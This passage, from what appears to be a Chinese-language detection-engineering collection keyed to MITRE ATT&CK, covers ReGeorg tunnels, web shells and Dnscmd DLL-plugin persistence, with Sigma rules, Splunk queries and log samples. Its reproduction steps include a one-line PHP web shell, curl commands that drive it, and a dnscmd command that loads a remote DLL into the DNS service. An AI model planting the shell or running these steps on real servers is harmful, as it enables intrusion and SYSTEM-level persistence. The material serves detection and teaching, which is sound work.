x90123456-abcd789012-zab345678901\n   status: stable\n   description: 检测ReGeorg HTTP隧道的特征性URL参数和HTTP头\n   references:\n     - https://attack.mitre.org/techniques/T1505/003/\n     - https://cloud.tencent.com/developer/article/1779195\n     - https://github.com/sensepost/reGeorg\n   tags:\n     - attack.persistence\n     - attack.t1505.003\n   logsource:\n     category: webserver\n   detection:\n     selection:\n       uri_query|contains:\n         - 'cmd=connect'\n         - 'cmd=read'\n         - 'cmd=forward'\n         - 'cmd=disconnect'\n       http_header|contains:\n         - 'X-CMD:'\n         - 'X-TARGET:'\n         - 'X-PORT:'\n     filter:\n       http_method: POST\n       http_referer: null\n     condition: selection and filter\n   fields:\n     - uri_query\n     - http_header\n     - http_method\n     - http_user_agent\n   falsepositives:\n     - 合法Web应用使用类似URL参数\n   level: high\n   ```\n\n3. **Sigma规则（Web服务器异常网络连接）**：\n   ```yaml\n   title: Web服务器异常内网连接\n   id: y01234567-abcd890123-abc456789012\n   status: experimental\n   description: 检测Web服务器向内网主机的异常连接，可能与HTTP隧道相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith:\n         - '\\apache.exe'\n         - '\\httpd.exe'\n         - '\\tomcat.exe'\n       DestinationIp|startswith:\n         - '172.'\n         - '10.'\n         - '192.168.'\n       DestinationPort:\n         - 80\n         - 443\n         - 3389\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n   falsepositives:\n     - 合法内网Web服务调用\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测ReGeorg请求和网络活动。\n   - 示例Splunk查询：\n     ```spl\n     source=\"http:access_log\" (uri_query IN (\"*cmd=connect*\",\"*cmd=read*\",\"*cmd=forward*\",\"*cmd=disconnect*\") OR http_header IN (\"X-CMD:*\",\"X-TARGET:*\",\"X-PORT:*\")) method=POST | stats count by uri_query, http_header, src_ip, dest_ip\n     ```\n\n5. **流量分析**：\n   - 使用Wireshark过滤ReGeorg流量：`http.request.uri contains \"cmd=\"`。  \n   - 检查分块传输（`Transfer-Encoding: chunked`）和异常`User-Agent`（如`python-urllib3`）。  \n\n6. **威胁情报整合**：\n   - 检查Web Shell文件哈希或C2 URL是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御ReGeorg HTTP隧道需从Web服务器安全、流量监控和检测入手：\n\n1. **Web服务器加固**  \n   - 定期扫描Web目录，检测未授权文件（如`tunnel.jsp`）。  \n     ```bash\n     find /var/www -name \"*.jsp\" -exec grep \"cmd=\" {} \\;\n     ```\n   - 限制Web服务器目录写权限：\n     ```bash\n     chmod -R 755 /var/www/html\n     chown -R www-data:www-data /var/www/html\n     ```\n\n2. **限制Web Shell执行**  \n   - 配置WAF规则，拦截包含`cmd=`、`X-CMD`的请求。  \n   - 禁用不必要的脚本引擎（如PHP、JSP）。  \n\n3. **网络控制**  \n   - 限制Web服务器访问内网资源：\n     ```bash\n     iptables -A OUTPUT -p tcp -d 172.0.0.0/8 -j DROP\n     ```\n   - 配置IDS/IPS检测SOCKS5隧道特征。  \n\n4. **日志和监控**  \n   - 启用详细HTTP日志，记录URL参数和头信息。  \n   - 配置Sysmon监控Web服务器的文件和网络活动。  \n   - 使用EDR工具检测Web Shell行为。  \n\n5. **定期审计**  \n   - 检查Web服务器日志中的异常POST请求：\n     ```bash\n     grep \"cmd=\" /var/log/apache2/access.log\n     ```\n   - 审计Web服务器文件完整性：\n     ```bash\n     tripwire --check\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1505.003  \n  <https://attack.mitre.org/techniques/T1505/003/>  \n- ReGeorg HTTP隧道分析  \n  <https://cloud.tencent.com/developer/article/1779195>  \n- ReGeorg GitHub  \n  <https://github.com/sensepost/reGeorg>"
  },
  {
    "path": "Windows/05持久化/T1505.003-web服务关联可疑进程识别webshell行为.md",
    "content": "# T1505-003-Web服务关联可疑进程识别WebShell行为\n\n## 描述\n\n攻击者可能通过在可公开访问的Web服务器上部署Web Shell实现持久化访问（T1505.003）。Web Shell是运行在Web服务器上的恶意脚本（如PHP、ASP、JSP），提供命令执行、文件操作或网络通信功能，允许攻击者通过HTTP/HTTPS协议控制目标系统。Web Shell可伪装为合法Web内容，具有高隐蔽性，常用于信息收集、权限提升或内网横向移动。\n\nWeb Shell可能通过服务器端脚本（如[China Chopper](https://attack.mitre.org/software/S0020)）或客户端工具与Web服务器交互。攻击者利用Web Shell执行系统命令（如`whoami`、`ipconfig`）或启动可疑进程（如`cmd.exe`、`powershell.exe`），这些行为在Web服务器进程（如`w3wp.exe`、`httpd.exe`）的子进程中表现明显。检测重点在于识别Web服务器进程衍生的异常子进程（如脚本解释器或管理工具）及其命令行参数。\n\n## 测试案例\n\n1. **Web Shell执行信息收集命令**  \n   攻击者通过Web Shell运行`whoami`、`ipconfig`或`net user`等命令，收集系统信息。  \n2. **Web Shell启动可疑进程**  \n   攻击者通过Web Shell启动`powershell.exe`或`bitsadmin.exe`，下载或执行恶意负载。  \n3. **伪装合法Web应用**  \n   攻击者将Web Shell嵌入合法Web页面（如`login.php`），执行隐蔽命令。  \n\n## 检测日志\n\n**Windows日志**  \n- **Windows安全日志**：  \n  - **事件ID 4688**：记录进程创建，包含父进程（如`w3wp.exe`）和子进程（如`cmd.exe`）的命令行参数。  \n- **Sysmon日志**：  \n  - **事件ID 1**：记录进程创建，包含详细的父/子进程信息和命令行参数。  \n  - **事件ID 3**：记录网络连接，检测Web Shell发起的C2通信。  \n  - **事件ID 11**：记录文件创建，检测Web Shell文件的写入。  \n- **EDR产品日志**：记录进程树、命令行参数和网络活动。\n\n**Linux日志**  \n- **Syslog**：记录Web服务器进程（如`httpd`、`nginx`）的活动。  \n- **Auditd日志**：记录进程创建（如`bash`、`sh`）和文件操作。  \n- **Web服务器日志**：记录HTTP请求（如`access.log`），可能包含Web Shell的URL调用。  \n\n**配置日志记录**  \n- Windows：  \n  - 启用进程创建审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。  \n  - 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n  - 部署Sysmon以增强进程、网络和文件监控。  \n- Linux：  \n  - 启用`auditd`：配置规则监控`execve`系统调用和文件操作。  \n  - 启用Web服务器详细日志：记录完整的URL和HTTP头。  \n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server（IIS/Apache）或Linux（Apache/Nginx），运行Web服务。  \n- **权限**：Web服务器用户权限（如`www-data`或`NETWORK SERVICE`）。  \n- **工具**：测试用Web Shell（如`simple-backdoor.php`）、Sysmon（Windows）、`auditd`（Linux）。  \n- **日志**：启用Windows安全日志、Sysmon、Web服务器日志和Linux审计日志。\n\n### 攻击步骤\n1. **部署Web Shell**  \n   - 上传Web Shell到Web服务器（如`/var/www/html/shell.php`或`C:\\inetpub\\wwwroot\\shell.aspx`）。  \n     ```php\n     <?php\n     system($_GET['cmd']);\n     ?>\n     ```\n\n2. **执行命令**  \n   - 通过浏览器或`curl`访问Web Shell，执行命令：\n     ```bash\n     curl \"http://<web_server>/shell.php?cmd=whoami\"\n     curl \"http://<web_server>/shell.php?cmd=powershell%20-c%20Get-Process\"\n     ```\n\n3. **触发可疑进程**  \n   - 使用Web Shell启动`cmd.exe`或`powershell.exe`：\n     ```bash\n     curl \"http://<web_server>/shell.php?cmd=net%20user\"\n     ```\n\n4. **验证结果**  \n   - 检查Web服务器日志：\n     ```bash\n     cat /var/log/apache2/access.log | grep \"shell.php\"\n     ```\n   - 检查Windows日志（事件ID 4688/Sysmon事件ID 1）：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"cmd.exe|powershell.exe\" }\n     ```\n   - 检查Linux审计日志：\n     ```bash\n     ausearch -ts today -m execve | grep \"httpd|nginx\"\n     ```\n\n5. **清理（测试后）**  \n   - 删除Web Shell：\n     ```bash\n     rm /var/www/html/shell.php\n     ```\n   - 重启Web服务：\n     ```bash\n     systemctl restart apache2\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n### Windows日志\n- **Windows安全日志（事件ID 4688）**：\n  ```xml\n  <Event xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\n    <System>\n      <Provider Name=\"Microsoft-Windows-Security-Auditing\" Guid=\"{54849625-5478-4994-A5BA-3E3B0328C30D}\" />\n      <EventID>4688</EventID>\n      <Version>2</Version>\n      <Level>0</Level>\n      <Task>13312</Task>\n      <Opcode>0</Opcode>\n      <Keywords>0x8020000000000000</Keywords>\n      <TimeCreated SystemTime=\"2015-11-12T02:24:52.377352500Z\" />\n      <EventRecordID>2814</EventRecordID>\n      <Correlation />\n      <Execution ProcessID=\"4\" ThreadID=\"400\" />\n      <Channel>Security</Channel>\n      <Computer>WIN-GG82ULGC9GO.contoso.local</Computer>\n      <Security />\n    </System>\n    <EventData>\n      <Data Name=\"SubjectUserSid\">S-1-5-18</Data>\n      <Data Name=\"SubjectUserName\">WIN-GG82ULGC9GO$</Data>\n      <Data Name=\"SubjectDomainName\">CONTOSO</Data>\n      <Data Name=\"SubjectLogonId\">0x3e7</Data>\n      <Data Name=\"NewProcessId\">0x2bc</Data>\n      <Data Name=\"NewProcessName\">C:\\Windows\\System32\\cmd.exe</Data>\n      <Data Name=\"TokenElevationType\">%%1938</Data>\n      <Data Name=\"ProcessId\">0xe74</Data>\n      <Data Name=\"CommandLine\">cmd.exe /c whoami</Data>\n      <Data Name=\"ParentProcessName\">C:\\Windows\\System32\\w3wp.exe</Data>\n      <Data Name=\"MandatoryLabel\">S-1-16-8192</Data>\n    </EventData>\n  </Event>\n  ```\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 02:30:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: cmd.exe /c whoami\n  ParentImage: C:\\Windows\\System32\\w3wp.exe\n  ParentProcessId: 5678\n  User: NT AUTHORITY\\NETWORK SERVICE\n  IntegrityLevel: Medium\n  ```\n\n### Linux日志\n- **Auditd日志**：\n  ```plaintext\n  type=EXECVE msg=audit(1623379200.123:456): argc=2 a0=\"bash\" a1=\"-c whoami\"\n  type=SYSCALL msg=audit(1623379200.123:456): arch=c000003e syscall=59 success=yes exit=0 ppid=1234 pid=5678 uid=33 gid=33 euid=33 egid=33 comm=\"bash\" exe=\"/bin/bash\"\n  type=PATH msg=audit(1623379200.123:456): name=\"/bin/bash\" dev=sda1 inode=123456\n  type=PROCTITLE msg=audit(1623379200.123:456): proctitle=\"httpd\"\n  ```\n- **Apache访问日志**：\n  ```plaintext\n  192.168.1.100 - - [10/Jun/2025:02:30:00 +0000] \"GET /shell.php?cmd=whoami HTTP/1.1\" 200 1234\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows/Linux日志，检测Web服务器进程衍生的异常子进程（如`cmd.exe`、`bash`）及其命令行参数。以下是具体思路：\n\n1. **日志分析**：\n   - **Windows**：  \n     - 监控事件ID 4688或Sysmon事件ID 1，检测Web服务器进程（如`w3wp.exe`、`httpd.exe`）衍生的子进程（如`cmd.exe`、`powershell.exe`）。  \n     - 检查命令行参数，识别信息收集命令（如`whoami`、`ipconfig`）或管理命令（如`net user`）。  \n     - 监控Sysmon事件ID 3，检测子进程的网络连接。  \n     - 监控Sysmon事件ID 11，检测Web Shell文件写入。  \n   - **Linux**：  \n     - 监控`auditd`日志，检测Web服务器进程（如`httpd`、`nginx`）执行的`execve`调用（如`bash`）。  \n     - 检查Web服务器日志，识别异常HTTP请求（如`GET /shell.php?cmd=`）。  \n\n2. **Sigma规则（Windows Web Shell进程）**：\n   ```yaml\n   title: Web服务器衍生可疑进程\n   id: z12345678-abcd901234-abc567890123\n   status: stable\n   description: 检测Web服务器进程衍生的可疑子进程，可能表明Web Shell活动\n   references:\n     - https://attack.mitre.org/techniques/T1505/003/\n     - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries\n   tags:\n     - attack.persistence\n     - attack.t1505.003\n     - attack.t1190\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       ParentImage|endswith:\n         - '\\w3wp.exe'\n         - '\\httpd.exe'\n         - '\\nginx.exe'\n         - '\\php-cgi.exe'\n         - '\\tomcat.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\bitsadmin.exe'\n         - '\\cscript.exe'\n         - '\\wscript.exe'\n         - '\\net.exe'\n         - '\\net1.exe'\n         - '\\ping.exe'\n         - '\\whoami.exe'\n         - '\\ipconfig.exe'\n     condition: selection\n   fields:\n     - Image\n     - ParentImage\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法Web应用调用系统命令（如ipconfig、whoami）\n   level: high\n   ```\n\n3. **Sigma规则（Linux Web Shell进程）**：\n   ```yaml\n   title: Linux Web服务器衍生可疑Shell进程\n   id: a23456789-abcd012345-bcd678901234\n   status: experimental\n   description: 检测Linux Web服务器进程衍生的可疑Shell进程，可能表明Web Shell活动\n   references:\n     - https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_activity_by_web_server.toml\n   tags:\n     - attack.persistence\n     - attack.t1505.003\n   logsource:\n     category: process_creation\n     product: linux\n   detection:\n     selection:\n       process.parent.name|contains:\n         - 'httpd'\n         - 'nginx'\n         - 'apache2'\n       process.name:\n         - 'bash'\n         - 'sh'\n         - 'dash'\n       user.name:\n         - 'apache'\n         - 'nginx'\n         - 'www-data'\n     condition: selection\n   fields:\n     - process.name\n     - process.parent.name\n     - process.args\n   falsepositives:\n     - 合法Web应用调用Shell脚本\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Web服务器衍生进程。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=1 ParentImage IN (\"*w3wp.exe\",\"*httpd.exe\",\"*nginx.exe\",\"*php-cgi.exe\",\"*tomcat.exe\") Image IN (\"*cmd.exe\",\"*powershell.exe\",\"*net.exe\",\"*whoami.exe\")) OR (source=\"linux:audit\" process.parent.name IN (\"httpd\",\"nginx\",\"apache2\") process.name IN (\"bash\",\"sh\",\"dash\") user.name IN (\"apache\",\"nginx\",\"www-data\")) | stats count by Image, ParentImage, CommandLine, ComputerName\n     ```\n\n5. **动态调整规则**：\n   - 根据环境白名单常见命令（如`ipconfig`在特定Web应用的合法调用）。  \n   - 添加更多可疑命令（如`tasklist`、`schtasks`）到规则中。  \n\n6. **威胁情报整合**：\n   - 检查Web Shell文件哈希或C2 URL是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 备注\n\n检测思路基于攻击者通过Web Shell执行系统命令（如信息收集、管理操作）的行为模式。在Windows/Linux环境中，这些行为表现为Web服务器进程（如`w3wp.exe`、`httpd`）衍生异常子进程（如`cmd.exe`、`bash`）。规则需根据具体环境调整，避免误报（如合法Web应用调用`whoami`）。可扩展规则，纳入更多攻击者常用的命令（如`tasklist`、`netstat`）。\n\n## 建议\n\n### 缓解措施\n\n防御Web Shell需从Web服务器安全、进程监控和检测入手：\n\n1. **Web服务器加固**  \n   - 定期扫描Web目录，检测未授权文件（如`.php`、`.jsp`）。  \n     ```bash\n     find /var/www -name \"*.php\" -exec grep \"system(\" {} \\;\n     ```\n   - 限制Web目录写权限：\n     ```bash\n     chmod -R 755 /var/www/html\n     chown -R www-data:www-data /var/www/html\n     ```\n\n2. **限制脚本执行**  \n   - 禁用不必要的脚本引擎（如PHP、ASP）。  \n   - 配置WAF拦截异常HTTP请求（如`cmd=`）。  \n\n3. **进程控制**  \n   - 使用AppLocker（Windows）或SELinux（Linux）限制Web服务器进程执行可疑二进制文件。  \n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\cmd.exe\" -Action Deny -User \"NETWORK SERVICE\"\n     ```\n\n4. **网络控制**  \n   - 限制Web服务器的出站连接，仅允许必要服务：\n     ```bash\n     iptables -A OUTPUT -p tcp --dport 80,443 -j ACCEPT\n     iptables -A OUTPUT -j DROP\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon（Windows）或`auditd`（Linux）监控进程创建和命令行参数。  \n   - 配置SIEM监控Web服务器衍生进程。  \n   - 使用EDR工具检测Web Shell行为。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1505.003  \n  <https://attack.mitre.org/techniques/T1505/003/>  \n- Web服务器执行可疑应用程序  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Webserver%20Executing%20Suspicious%20Applications.md>  \n- Elastic检测规则：Web服务器Shell活动  \n  <https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_activity_by_web_server.toml>"
  },
  {
    "path": "Windows/05持久化/T1543.003-Win-windows服务Dnscmd.exe(白名单).md",
    "content": "# T1543-003-Win-Windows服务Dnscmd.exe持久化\n\n## 描述\n\n攻击者可能通过创建或修改Windows服务实现恶意代码的持久化执行（T1543.003）。Windows服务是在系统启动时运行的后台程序，负责核心系统功能，其配置信息（如可执行文件路径）存储在Windows注册表中。攻击者可通过工具（如`sc.exe`、`reg.exe`）或直接与Windows API交互，安装新服务或修改现有服务以执行恶意负载。\n\n**Dnscmd.exe**是Windows提供的DNS服务器管理命令行工具，位于`C:\\Windows\\System32\\`和`C:\\Windows\\SysWOW64\\`，用于自动化DNS管理任务。攻击者可滥用`dnscmd.exe`的`/serverlevelplugindll`参数，将恶意DLL注册为DNS服务插件，在DNS服务器重启后以SYSTEM权限执行，结合伪装为合法DNS操作，隐蔽性较高。攻击者需具备DnsAdmins组权限（或等效权限）才能执行此操作。检测重点在于监控`dnscmd.exe`的异常命令行参数及相关注册表修改。\n\n## 测试案例\n\n1. **通过Dnscmd注册恶意DLL**  \n   攻击者使用`dnscmd.exe`将远程恶意DLL注册为DNS服务插件，在DNS服务器重启后执行。  \n2. **伪装合法DNS管理操作**  \n   攻击者伪装为DNS管理员，使用`dnscmd.exe`执行看似正常的配置命令，隐藏恶意意图。  \n\n### 示例命令\n```bash\ndnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\wtf.dll\n```\n- **用例**：远程向DNS服务器注入DLL。  \n- **所需权限**：DnsAdmins组成员或更高权限。  \n- **操作系统**：Windows Server（DNS角色）。  \n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`dnscmd.exe`的命令行参数。  \n- **事件ID 4674**：记录权限分配，检测DnsAdmins组权限使用。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`dnscmd.exe`的命令行参数和父进程信息。  \n- **事件ID 13**：记录注册表修改，如`HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll`的更改。  \n- **事件ID 3**：记录网络连接，检测远程DLL加载（如`\\\\192.168.0.149\\dll\\wtf.dll`）。  \n\n**配置日志记录**  \n- 启用进程创建审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 部署Sysmon以增强进程、注册表和网络监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2012+，配置DNS服务器角色，域控（DC）或独立DNS服务器。  \n- **权限**：DnsAdmins组成员或管理员权限。  \n- **工具**：`dnscmd.exe`（系统自带）、测试用DLL文件、Sysmon、Windows安全日志。  \n- **网络**：可访问的远程共享路径（如`\\\\192.168.0.149\\dll\\`）。  \n- **测试DLL路径**：`\\\\192.168.0.149\\dll\\test.dll`（模拟恶意DLL）。  \n\n### 攻击步骤\n1. **确认权限**  \n   - 验证当前用户是否为DnsAdmins组成员：\n     ```powershell\n     net group \"DnsAdmins\" /domain\n     ```\n\n2. **注册恶意DLL**  \n   - 使用`dnscmd.exe`配置DNS服务插件：\n     ```bash\n     dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\test.dll\n     ```\n\n3. **触发执行**  \n   - 重启DNS服务以加载DLL：\n     ```powershell\n     Restart-Service -Name DNS\n     ```\n\n4. **验证结果**  \n   - 检查注册表键：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\" -Name ServerLevelPluginDll\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```plaintext\n       EventID: 4688\n       New Process Name: C:\\Windows\\System32\\dnscmd.exe\n       Process Command Line: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\test.dll\n       Creator Process Name: C:\\Windows\\System32\\cmd.exe\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```plaintext\n       EventID: 13\n       EventType: SetValue\n       TargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll\n       Details: \\\\192.168.0.149\\dll\\test.dll\n       Image: C:\\Windows\\System32\\dnscmd.exe\n       User: LAB\\DnsAdmin\n       ```\n\n5. **清理（测试后）**  \n   - 删除注册表键：\n     ```powershell\n     Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\" -Name ServerLevelPluginDll\n     ```\n   - 重启DNS服务：\n     ```powershell\n     Restart-Service -Name DNS\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\dnscmd.exe\n  Process Command Line: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\test.dll\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  Subject User Name: DnsAdmin\n  Subject Domain Name: LAB\n  ```\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\dnscmd.exe\n  CommandLine: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\test.dll\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: LAB\\DnsAdmin\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 13）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\dnscmd.exe\n  TargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll\n  Details: \\\\192.168.0.149\\dll\\test.dll\n  User: LAB\\DnsAdmin\n  ```\n\n- **Sysmon日志（事件ID 3，远程DLL加载）**：\n  ```plaintext\n  EventID: 3\n  Image: C:\\Windows\\System32\\svchost.exe\n  DestinationIp: 192.168.0.149\n  DestinationPort: 445\n  Protocol: tcp\n  User: NT AUTHORITY\\SYSTEM\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志和Sysmon日志，检测`dnscmd.exe`的异常使用及DNS服务注册表修改。以下是具体思路：\n\n1. **日志分析**：\n   - 监控事件ID 4688或Sysmon事件ID 1，检测`dnscmd.exe`执行，并检查命令行参数是否包含`/config`和`/serverlevelplugindll`。  \n   - 监控Sysmon事件ID 13，检测`HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll`的修改。  \n   - 监控Sysmon事件ID 3，检测DNS服务器访问远程共享路径（如`\\\\192.168.0.149`）。  \n   - 监控事件ID 4674，检测DnsAdmins组权限的使用。  \n\n2. **Sigma规则（DNS ServerLevelPluginDll安装）**：\n   ```yaml\n   title: DNS ServerLevelPluginDll安装检测\n   id: f63b56ee-3f79-4b8a-97fb-5c48007e8573\n   status: stable\n   description: 检测通过dnscmd.exe注册DNS服务插件DLL的行为，可能用于持久化或权限提升\n   author: Florian Roth\n   date: 2017/05/08\n   references:\n     - https://attack.mitre.org/techniques/T1543/003/\n     - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\n     - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd\n   tags:\n     - attack.persistence\n     - attack.t1543.003\n     - attack.privilege_escalation\n     - attack.t1112\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\dnscmd.exe'\n       CommandLine|contains|all:\n         - '/config'\n         - '/serverlevelplugindll'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentCommandLine\n     - User\n   falsepositives:\n     - 合法DNS管理员配置DNS插件\n   level: high\n   ```\n\n3. **Sigma规则（DNS注册表修改）**：\n   ```yaml\n   title: DNS服务注册表插件DLL修改\n   id: g78901234-abcd567890-xyz123456789\n   status: experimental\n   description: 检测DNS服务注册表中ServerLevelPluginDll键的修改，可能与恶意DLL注册相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|endswith: '\\Services\\DNS\\Parameters\\ServerLevelPluginDll'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法DNS配置变更\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测`dnscmd.exe`使用及注册表修改。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image=\"*dnscmd.exe\" CommandLine IN (\"*/config*\",\"*/serverlevelplugindll*\")) OR (EventID=13 TargetObject=\"*Services\\DNS\\Parameters\\ServerLevelPluginDll\")) | stats count by Image, CommandLine, TargetObject, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查DNS服务插件配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue\n     ```\n\n6. **威胁情报整合**：\n   - 检查DLL文件哈希或远程共享路径是否与已知恶意样本相关，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御`dnscmd.exe`滥用需从权限管理、注册表保护和监控入手：\n\n1. **限制DnsAdmins权限**  \n   - 最小化DnsAdmins组成员，仅授予必要用户：\n     ```powershell\n     Remove-ADGroupMember -Identity \"DnsAdmins\" -Members \"UnnecessaryUser\"\n     ```\n\n2. **锁定注册表键**  \n   - 限制`HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\" -AclObject $acl\n     ```\n\n3. **限制远程文件访问**  \n   - 禁用DNS服务器对非可信共享路径的访问：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block SMB Outbound\" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Block\n     ```\n\n4. **加强DNS服务安全**  \n   - 禁用不必要的DNS插件功能。  \n   - 定期审计DNS服务配置：\n     ```powershell\n     Get-Service -Name DNS | Select-Object Status, StartType\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 1、13、3，检测`dnscmd.exe`执行和注册表修改。  \n   - 配置SIEM监控DNS服务相关事件。  \n   - 使用EDR工具检测DNS服务器异常行为。  \n\n6. **定期审计**  \n   - 检查DNS服务插件注册表键：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue\n     ```\n   - 审计DnsAdmins组成员：\n     ```powershell\n     Get-ADGroupMember -Identity \"DnsAdmins\"\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1543.003  \n  <https://attack.mitre.org/techniques/T1543/003/>  \n- Dnscmd.exe LOLBAS  \n  <https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/>  \n- Sigma规则：DNS ServerLevelPluginDll  \n  <https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/process_creation/process_creation_dns_serverlevelplugindll.yml>  \n- DnsAdmin提权分析  \n  <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>  \n- Microsoft Dnscmd文档  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd>"
  },
  {
    "path": "Windows/05持久化/T1546.001-Win-事件触发执行-更改默认文件关联.md",
